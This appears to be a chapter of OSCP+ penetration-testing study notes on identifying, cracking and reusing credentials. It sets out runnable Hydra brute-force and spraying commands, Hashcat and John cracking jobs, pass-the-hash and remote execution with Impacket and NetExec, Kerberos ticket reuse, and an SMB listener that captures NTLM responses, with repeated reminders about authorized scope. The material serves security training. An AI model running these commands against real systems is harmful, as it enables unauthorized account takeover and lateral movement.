9.4.3 Credential Classification, Cracking and Reuse

← Stage index | Credential cheatsheet | AD procedures | Strategy map | Study methods: Recover and use authentication material; Gain a more useful domain identity

Purpose: distinguish authentication material, estimate whether offline recovery is worthwhile, and test only compatible, evidence-backed uses. Actual credentials belong in private records.

9.4.3.1 Record the artifact type, identity and access context Credential record

SOURCE -> MATERIAL/FORMAT -> LOCAL/DOMAIN/APPLICATION IDENTITY
-> POSSIBLE USE -> SERVICE/PROTOCOL -> AUTHENTICATION
-> AUTHORIZATION -> NEW ACCESS -> RE-ENUMERATION

Record source, claimed identity, format evidence, possible uses, tested service, result and resulting rights together.

9.4.3.2 Classify before acting

Material	Recognition	Compatible use
Cleartext password	Text tied to an identity/source	Normal protocol/application login
SSH private key	OpenSSH/PEM private-key block	SSH public-key authentication; recover passphrase offline if protected
Linux password record	`USER:$id$salt$digest:...`	Offline recovery with complete record/format
Application/file verifier	Tool-specific $...$ or documented digest	Offline recovery with matching mode/parser
NT hash	Usually 32 hex from SAM/LSASS/NTDS context	Offline recovery; PtH where NTLM and the client support it
Net-NTLMv2 response	`USER::DOMAIN:challenge:proof:blob`	Offline recovery or live relay under specific conditions; not PtH material
DCC2/MSCache v2	Username-dependent cached-domain verifier	Offline recovery; not ordinary PtH material
Kerberos ticket	`.kirbi`, ccache or in-memory cache	Ticket-specific access subject to realm, SPN, validity, clock and route
Kerberos roast material	`$krb5asrep$...` or `$krb5tgs$...`	Offline recovery with matching enctype/mode
Session/API token	Cookie, bearer/JWT or application token	Issuing application and authorization context only

Do not feed unknown strings into random modes. Preserve the source and identity context, then identify the format:

hashid HASH_OR_FILE
john --list=formats | grep -i KEYWORD
hashcat -hh | grep -i KEYWORD
hashcat --example-hashes | less

Failure cue: No hashes loaded, token/line-length errors or zero parsed hashes normally indicate wrong format, mode, damaged input or unsupported version—not a strong password.

9.4.3.3 Validate one known password

Use the normal client for the observed service:

ssh -o PreferredAuthentications=password -p PORT USER@TARGET
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares
evil-winrm -i TARGET -u USER -p 'PASSWORD'
xfreerdp /v:TARGET /u:'DOMAIN\USER' /p:'PASSWORD' /cert:ignore

Local Windows account:

nxc smb TARGET --local-auth -u USER -p 'PASSWORD' --shares

Decisive output: the destination service accepts the intended identity. Share, session or action access is a separate authorization result.

9.4.3.3.1 Variant — known user, targeted password dictionary

hydra -l USER -P WORDLIST -s PORT -t 4 -f ssh://TARGET
hydra -l USER -P WORDLIST -t 1 -f rdp://TARGET

Use only on an assigned target after checking lockout and rate controls. Confirm every reported success with the normal client.

9.4.3.3.2 Variant — one password across an authorized user list

hydra -L USERS -p 'PASSWORD' -s PORT -t 1 rdp://TARGET
nxc smb TARGET -d DOMAIN -u USERS -p 'PASSWORD' --continue-on-success

One attempt per account can still trigger lockout or monitoring. Establish scope, threshold/window and observation period first.

9.4.3.3.3 Variant — HTTP POST form

Capture a correct request and stable failure marker with Burp:

hydra -l USER -P WORDLIST TARGET http-post-form \
  '/LOGIN_PATH:username=^USER^&password=^PASS^:F=STABLE_FAILURE_TEXT'

Dynamic CSRF tokens, cookies, redirects, throttling and uniform responses require manual handling or a different approach. A weak failure marker creates false positives.

9.4.3.3.4 RunasCs — test a known password from an existing Windows shell

Use a reviewed, compatible build on the current Windows host with a known plaintext password. This creates a new local process/logon context; it is not remote execution and does not turn an NT hash into a password.

9.4.3.3.5 Domain account: verify the new process token

REM Domain account: verify the new process token
RunasCs.exe USER PASSWORD "cmd /c whoami /all" -d DOMAIN

9.4.3.3.6 Local account: omit the domain switch for the current host's account

REM Local account: omit the domain switch for the current host's account
RunasCs.exe USER PASSWORD "cmd /c whoami /all"

9.4.3.3.7 Network-only credentials: local identity stays unchanged

REM Network-only credentials: local identity stays unchanged
RunasCs.exe USER PASSWORD "cmd /c dir \\TARGET\SHARE" -d DOMAIN -l 9

Read: in the first two forms, whoami identifies the created process; inspect its groups/integrity before claiming escalation. With logon type 9, local whoami is not a credential test: use the remote operation's result. Logon failure → check account scope, password and permitted logon type. An accepted logon with access denied → inspect authorization on that resource.

RunasCs upstream. Native runas remains an alternative when an interactive password prompt is usable. Neither tool guarantees an elevated token.

9.4.3.4 Estimate feasibility

hashcat -b -m MODE
python3 -c "print((CHARSET_SIZE ** LENGTH) / GUESSES_PER_SECOND)"

Use the actual mode and hardware rate. Salts prevent reusable precomputation; iterations and memory-hard KDFs reduce guesses per second. Prefer candidates in this order:

exact recovered/default candidates -> organization/user/product words
-> observed policy and mutations -> small dictionary plus rules
-> known mask/hybrid -> broader curated lists/rules
-> exhaustive search only when its measured cost is defensible

Preview mutations before spending the candidate budget:

hashcat -r /usr/share/hashcat/rules/best64.rule --stdout wordlist.txt | head -n 50
john --wordlist=wordlist.txt --rules=Jumbo --stdout | head -n 50

9.4.3.5 Recover a password with a format-matched Hashcat job Hashcat baseline and meaningful modes

Use the identified verifier format and a feasible offline candidate strategy.

hashcat -a 0 -m MODE hashes.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule --session job
hashcat -m MODE hashes.txt --show

-a 0 is dictionary mode. Do not use -a 3 with a wordlist; attack mode 3 expects a mask.

Common source examples identify NTLM as mode 1000, Net-NTLMv2 as 5600 and KeePass as 13400, but confirm against the installed version:

hashcat -h | grep -Ei 'NTLM|NetNTLMv2|KeePass|OpenSSH'

9.4.3.5.1 Mask and session variants

hashcat -m MODE hashes.txt -a 3 '?u?l?l?l?l?d?d?d' --session targeted-mask
hashcat --session targeted-mask --restore

Mask order is a hypothesis about structure. Estimate its keyspace before committing time.

9.4.3.5.2 Hybrid variant — base word plus three digits

hashcat -a 6 -m MODE hashes.txt wordlist.txt '?d?d?d' --session targeted-hybrid

Use only when evidence supports both the base words and suffix shape.

9.4.3.6 Recover a password from a supported verifier with John John the Ripper workflow

Use the identified verifier format and a feasible offline candidate strategy.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt

john --format=FORMAT --wordlist=wordlist.txt --rules=Jumbo hash.txt
john --session=crack-job --wordlist=wordlist.txt hash.txt
john --restore=crack-job

File-to-hash converters:

zip2john archive.zip > archive.hash
7z2john archive.7z > archive.hash
ssh2john id_rsa > ssh.hash
keepass2john vault.kdbx > keepass.hash
pdf2john document.pdf > pdf.hash
office2john document.docx > office.hash
rar2john archive.rar > rar.hash
unshadow passwd.copy shadow.copy > linux.hash

Converter availability varies by package/path; locate it rather than assuming:

command -v ssh2john || find /usr/share/john -maxdepth 2 -iname '*2john*' 2>/dev/null

Preserve the complete converter output. Some formats include a filename label before : that John accepts but Hashcat may require removed from a separate tool-specific copy.

9.4.3.7 Recover access to a protected KeePass database KeePass database

keepass2john vault.kdbx > keepass.hash
john --wordlist=wordlist.txt keepass.hash
john --show keepass.hash

Hashcat alternative after confirming KDBX/KDF and input format:

hashcat -hh | grep -i keepass
hashcat -a 0 -m 13400 keepass.hash wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 13400 keepass.hash --show

Mode 13400 covers common KeePass 1/2 AES formats. Installed help and example hashes decide for the actual file. A recovered master password still requires opening and validating the vault.

9.4.3.8 Recover a passphrase for an accessible SSH private key SSH private-key passphrase

ssh2john id_rsa > ssh.hash
john --wordlist=wordlist.txt ssh.hash
john --show ssh.hash
chmod 600 id_rsa
ssh-keygen -y -f id_rsa > derived.pub
ssh -vv -i id_rsa -o IdentitiesOnly=yes -p PORT USER@TARGET

Cracking a key passphrase unlocks the file; it does not prove the matching public key is authorized. Permission denied (publickey) can mean wrong user/server, missing authorization or server algorithm/policy after a successful local unlock.

9.4.3.8.1 Hashcat variant — only for a supported OpenSSH format

hashcat -hh | grep -i 'OpenSSH\|Private Key'
hashcat -a 0 -m MODE ssh.hash wordlist.txt -r RULE_FILE

Choose MODE from the complete $sshng$... structure and installed help. Token-length or unsupported-cipher errors require a compatible parser/tool, not --force with a wrong mode.

9.4.3.9 Recover passwords from accessible Linux password verifiers Linux password records

unshadow passwd.copy shadow.copy > linux.hash
john --wordlist=wordlist.txt --rules=Jumbo linux.hash
john --show linux.hash

Preserve username, UID, shell and lock markers. A recovered password does not override SSH settings, su policy or a disabled account.

9.4.3.10 Use or recover a password from an identified NT hash NT hash

Offline recovery:

hashcat -a 0 -m 1000 nt.hash wordlist.txt -r /usr/share/hashcat/rules/best64.rule
john --format=NT --wordlist=wordlist.txt nt.hash

Compatible SMB validation:

nxc smb TARGET -d DOMAIN -u USER -H NT_HASH --shares
smbclient //TARGET/SHARE -U 'DOMAIN\USER' --pw-nt-hash NT_HASH

NT hashes come from a producing context such as SAM, LSASS or NTDS. A visually similar 32-hex application digest is not PtH material.

9.4.3.10.1 Variant — remote access/execution when the identity has matching rights

impacket-wmiexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'
impacket-psexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'
xfreerdp /v:TARGET /u:'DOMAIN\USER' /pth:NT_HASH /cert:ignore

WMI needs administrative rights plus DCOM/RPC/SMB reachability and normally runs as the authenticated user. PsExec-style execution needs service-control and writable-share rights and commonly yields SYSTEM. RDP hash authentication depends on target/client support and policy. Detailed method selection belongs to the lateral-movement procedure.

9.4.3.11 Recover a password from a captured Net-NTLMv2 response Net-NTLMv2 response

hashcat -a 0 -m 5600 netntlmv2.hash wordlist.txt
john --format=netntlmv2 --wordlist=wordlist.txt netntlmv2.hash

A Net-NTLMv2 response is not an NT hash and cannot be supplied to -H or -hashes. Relay forwards a live authentication exchange and requires received/coerced authentication, compatible protocols, signing/channel-binding conditions and useful rights.

The OSCP+ exam prohibits spoofing, including NBNS. Do not use Responder poisoning on the exam. Keep capture/relay work to explicitly authorized labs and recheck the current guide.

9.4.3.12 Recover a password from a cached-domain verifier DCC2 / cached domain logon

hashcat -hh | grep -i 'Domain Cached'
john --format=mscash2 --wordlist=wordlist.txt dcc2.hash

Preserve the username because it participates in the verifier. DCC2 is an offline recovery target, not ordinary PtH material.

9.4.3.13 Inspect available tickets and determine where they can authenticate Kerberos tickets and caches

Inspect before use:

klist
KRB5CCNAME=TICKET.ccache klist
impacket-ticketConverter TICKET.kirbi TICKET.ccache

Compatible client example:

export KRB5CCNAME=TICKET.ccache
impacket-wmiexec -k -no-pass 'DOMAIN/USER@HOST.DOMAIN'

Verify client principal, realm, TGT versus service ticket, SPN, start/end time, clock, DNS/FQDN and routes. A readable cache does not prove authorization. Roasting, forging and detailed PtT/overpass belong to the AD procedures.

9.4.3.14 Credential Guard boundary

Get-ComputerInfo | Select-Object DeviceGuardSecurityServicesConfigured,DeviceGuardSecurityServicesRunning

Credential Guard can isolate reusable domain secrets from ordinary LSASS memory. It does not erase local SAM, file, vault, DPAPI, ticket, service-configuration or directory-right paths. One failed dump method disproves only that method and context. Intrusive SSP interception changes system state and waits for a future logon; it is not the default Block 5 response.

9.4.3.15 Choose the next check from the failure you observed Failure routing

Failure	Interpretation / next action
Timeout/no route	Fix source position, pivot or service reachability before judging the credential
Wrong TLS/protocol response	Reconfirm application and required transport
Local/domain/UPN mismatch	Retry only an evidence-backed identity form
Account disabled/locked/expired/restricted	Stop guessing; preserve possible credential validity and record state
Password/public-key/NTLM/Kerberos method rejected	Choose material/client compatible with server policy
Authentication succeeds, requested action fails	Credential is valid; enumerate authorization and another relevant service
Hash parser rejects input	Recheck complete line, prefix, converter, mode and version
Key unlocks but SSH rejects it	Recheck user, server, authorized-key state and algorithm policy
Ticket loads but service rejects it	Check expiry, SPN, realm, clock, DNS and service authorization
PtH login succeeds but execution fails	Check admin rights, UAC remote restrictions and method-specific ports/rights

9.4.3.16 Re-enumerate after success

accepted identity -> groups/roles -> reachable services -> shares/files
-> authenticated application behavior -> accessible hosts/routes
-> new credentials/tickets/sessions -> privilege and movement handoffs

Verify destination host, accepted identity and actual read/write/execute rights. New hosts/listeners return to discovery; recovered material returns here; operating-system execution enters session handling; domain identities enter AD mapping.

9.4.3.17 Build a small site-specific wordlist with CeWL

Use when observed organization, product or account vocabulary could improve an offline recovery attempt. Keep the crawl on the assigned site.

9.4.3.17.1 Bounded crawl: depth 1, words of at least five characters

# Bounded crawl: depth 1, words of at least five characters
cewl -d 1 -m 5 --lowercase -w site-words.txt http://TARGET:PORT/

9.4.3.17.2 Review before using it in the existing format-specific recovery command

# Review before using it in the existing format-specific recovery command
head -n 30 site-words.txt
wc -l site-words.txt

Read: useful vocabulary is a candidate list, not a recovered password. An authenticated or JS-only page may expose little to the crawler. Use the already identified Hashcat/John format, then apply a small relevant rule/mask rather than immediately creating an enormous list.

Sources: upstream 1.

9.4.3.18 Generate usernames from observed naming conventions

Use when you have names and at least one real account/email that reveals a likely format. Put only relevant names in names.txt.

9.4.3.18.1 Review supported format names in this installed version

# Review supported format names in this installed version
./username-anarchy --list-formats

9.4.3.18.2 Restrict output to plausible formats rather than every permutation

# Restrict output to plausible formats rather than every permutation
./username-anarchy -i names.txt -f first,first.last,flast,f.last > users.txt
sort -u users.txt -o users.txt

Read: these are candidates. Confirm names with authorized directory/user enumeration; an email local part is not automatically a domain account. Keep domain, local-machine and application namespaces distinct. Use Kerbrute's username probe only when the KDC path and domain are known.

Sources: upstream 1.

9.4.3.19 Targeted candidates — Crunch, CUPP and rules

Use a mask/profile only when evidence justifies it. This example expands a known six-character stem with three digits; it creates 1,000 candidates.

9.4.3.19.1 crunch 9 9 -t 'foobar%%%' -o stem-digits.txt

crunch 9 9 -t 'foobar%%%' -o stem-digits.txt

9.4.3.19.2 Interactive profile-based alternative, when relevant clues exist

# Interactive profile-based alternative, when relevant clues exist
python3 cupp.py -i

9.4.3.19.3 Preview a rule expansion before choosing the recovery job

# Preview a rule expansion before choosing the recovery job
hashcat --stdout site-words.txt -r /usr/share/hashcat/rules/best64.rule | head -n 40

Read: calculate candidate count and use the matching offline format. CUPP asks questions; invented personal details do not improve the list. A three-digit suffix or a rule is a hypothesis, not a reason to spray every generated value at an online login.

Sources: upstream 1 · upstream 2 · upstream 3.

9.4.3.20 Password-protected ZIP — direct test or extracted verifier

Use when the artifact is an encrypted ZIP and its encryption is supported by the selected tool.

9.4.3.20.1 Dictionary attack; -u checks candidates by attempting extraction

# Dictionary attack; -u checks candidates by attempting extraction
fcrackzip -u -D -p WORDLIST archive.zip

9.4.3.20.2 Alternative: extract a verifier for John, preserving the original archive

# Alternative: extract a verifier for John, preserving the original archive
zip2john archive.zip > archive.hash
john --wordlist=WORDLIST archive.hash
john --show archive.hash

Read: confirm a candidate by opening/extracting the intended file. An unsupported encryption type or empty verifier is a format/tool issue, not proof that the password is unguessable. Reuse the recovered value only after identifying its account/service context.

Sources: upstream 1 · upstream 2.

9.4.3.21 HTTP Basic authentication — validate the challenge and failure signal

Use when the endpoint returns a real HTTP Basic challenge. A custom HTML login form is a different mechanism.

9.4.3.21.1 curl -i http://TARGET:PORT/PROTECTED_PATH

curl -i http://TARGET:PORT/PROTECTED_PATH
curl -i --basic -u USER http://TARGET:PORT/PROTECTED_PATH

9.4.3.21.2 Only when bounded online guessing is justified by scope and lockout controls

# Only when bounded online guessing is justified by scope and lockout controls
hydra -l USER -P WORDLIST -s PORT -t 1 -f TARGET http-get /PROTECTED_PATH

Read: distinguish an accepted HTTP identity from permission to the protected function. Confirm a reported success with curl/browser. Redirects, uniform 200 pages or a mismatched realm/path make weak success detectors; fix the request before increasing guesses.

Sources: upstream 1 · upstream 2.

9.4.3.22 Change an account’s own expired/known SMB password

Use when you know the old password and the account is allowed or required to change it. This is not an administrative reset of another account.

# Prompts for the old and new password on the specified server/DC
smbpasswd -r DC_HOST -U 'DOMAIN/USER'

Read: a successful change means subsequent password logins need the new value; existing ticket/session contexts do not automatically become new logons. Failure → check account scope, password policy, connectivity and change-password rights. Test the new password with the relevant native service client before moving on.

Sources: upstream 1.

9.4.3.23 Generate a bounded numeric list for an observed identifier pattern

Use when actual examples indicate a small numeric ID/range. Keep generated input separate from the decision to send online requests.

9.4.3.23.1 Unpadded IDs

# Unpadded IDs
seq 0 999 > numbers.txt

9.4.3.23.2 Fixed-width values, only when the observed application uses that format

# Fixed-width values, only when the observed application uses that format
seq -w 0 999 > numbers-padded.txt

Read: a matching format is a candidate input list, not permission to enumerate every object. Use the real session and compare owned/other/disallowed-object controls in the existing authorization workflow. Expand the range only when returned evidence justifies it.

Sources: upstream 1.

9.4.3.24 An application authenticates to your explicit SMB endpoint

Use only when an observed application/file-request primitive can contact an explicitly supplied SMB path and the network/account policy permits NTLM. This workflow does not poison names or spoof network identities.

9.4.3.24.1 Attacker: serve the intended directory and keep the authentication log

# Attacker: serve the intended directory and keep the authentication log
mkdir -p share
sudo impacket-smbserver SHARE ./share -smb2support 2>&1 | tee smb-server.log

9.4.3.24.2 A captured Net-NTLMv2 line is an offline-recovery artifact, not an NT hash

# A captured Net-NTLMv2 line is an offline-recovery artifact, not an NT hash
hashcat -m 5600 netntlmv2.txt WORDLIST
hashcat -m 5600 netntlmv2.txt --show

Supply the actual application with the intended \\LHOST\SHARE\FILE path only through the already verified input mechanism. Read: retain the entire challenge-response line and the reported account/domain. No callback can be routing, SMB egress or NTLM policy; a callback without recoverable credentials is not a password. Validate a recovered plaintext password in the matching identity. Do not substitute this response for the NT hash expected by pass-the-hash tools.

Sources: upstream 1 · upstream 2.

9.4.3.25 Sources

getSH Password Cracking route, source snapshot e1f62dd
Supplied PEN-200 Chapter 16, pp442-493
Hexdump Windows hash and credential sections
Current OSCP+ Body of Knowledge
Hashcat example hashes
John the Ripper documentation
Hydra official repository
NetExec credential use
Impacket official repository
OpenSSH manual
Current OSCP+ exam guide